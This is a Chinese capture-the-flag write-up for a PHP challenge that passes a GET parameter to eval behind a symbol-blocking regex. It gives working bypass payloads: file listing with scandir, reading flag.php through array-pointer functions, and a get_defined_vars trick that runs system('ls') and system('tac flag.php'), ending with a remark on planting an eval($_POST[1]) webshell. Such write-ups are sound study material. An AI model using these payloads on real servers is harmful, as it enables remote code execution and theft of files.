信息收集
怎么一下子多这么多过滤啊,我以为跳过了好几题
这又能eval了,但是连$
也不能用了
不能用.
*
?
,所以打不出fla*
或者fla?????
了
不能用/
,构造不出日志注入和伪协议包含
仔细观察,禁的是中文的括号,和英文括号没关系,所以我们用函数解决
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解题
前置知识:
一些php函数:
- pos:函数返回数组中的当前元素的值
- current:返回数组中的当前元素的值
- end:将内部指针指向数组中的最后一个元素,并输出
- next:将内部指针指向数组中的下一个元素,并输出
- prev:将内部指针指向数组中的上一个元素,并输出
- reset:将内部指针指向数组中的第一个元素,并输出
- array_reverse:翻转数组,例如
[1,2,3,4] ⇒ [4,3,2,1]
- getcwd:获取当前目录
- pos(localeconv()):老师傅们的骚操作,这能拿到一个
.
,替代当前目录 - scandir:获取指定路径下的目录列表
- get_defined_vars:函数返回由所有已定义变量所组成的数组
- print_r:打印数组
- var_dump:啥都能打印,只是看着比较乱
方法1
第一步,查目录
print_r:打印数组
var_dump:啥都能打印,数组,类,字符串,数值。缺点是看着很乱
php
?c=print_r(scandir(getcwd()));

第二步,获取flag.php
本来想着[2]
就能拿到了,但是数字被过滤了,这时候可以[TRUE+TRUE]
,但是[]
都被过滤了
s
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
使用了array_reverse后,变成
Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
用next取第二个就是flag.php了
所以索引到flag.php使用如下代码
php
?c=next(array_reverse(print_r(scandir(getcwd()))));
遗憾的是如果文件名在中间就没办法了。
我想到了使用pop或者unset来删除元素,可惜的是这些函数不会返回数组
同样的使用next也仅能够移动一次指针,返回的是数组里的值,而不是数组
这个数组是临时的,我们无法使用$
生成变量来保存这个数组
第三步,拿到flag
show_source和highlight_file都一样
php
?c=highlight_file(next(array_reverse(scandir(getcwd()))));
方法2
观察函数,找突破点
php
?c=print_r(get_defined_vars)
能观察到我们写的print_r(get_defined_vars)
,再多写一个参数试试
php
?c=print_r(get_defined_vars());&1=111111111

拿到这个参数
php
?c=print_r(end(current(get_defined_vars())));&1=111111111
我们拿到这个参数了,end(current(get_defined_vars()))
= $_GET[1]
获取flag
php
?c=eval(end(current(get_defined_vars())));&1=system('ls');
?c=eval(end(current(get_defined_vars())));&1=system('tac flag.php');
拓展
结合方法1,可以构造payload:
end(current(get_defined_vars()))
= flag.php
php
?c=show_source(end(current(get_defined_vars())));&1=flag.php
其实这没有意义,我们想要的效果其实是eval($_POST[1])
这样的木马,这能执行任意代码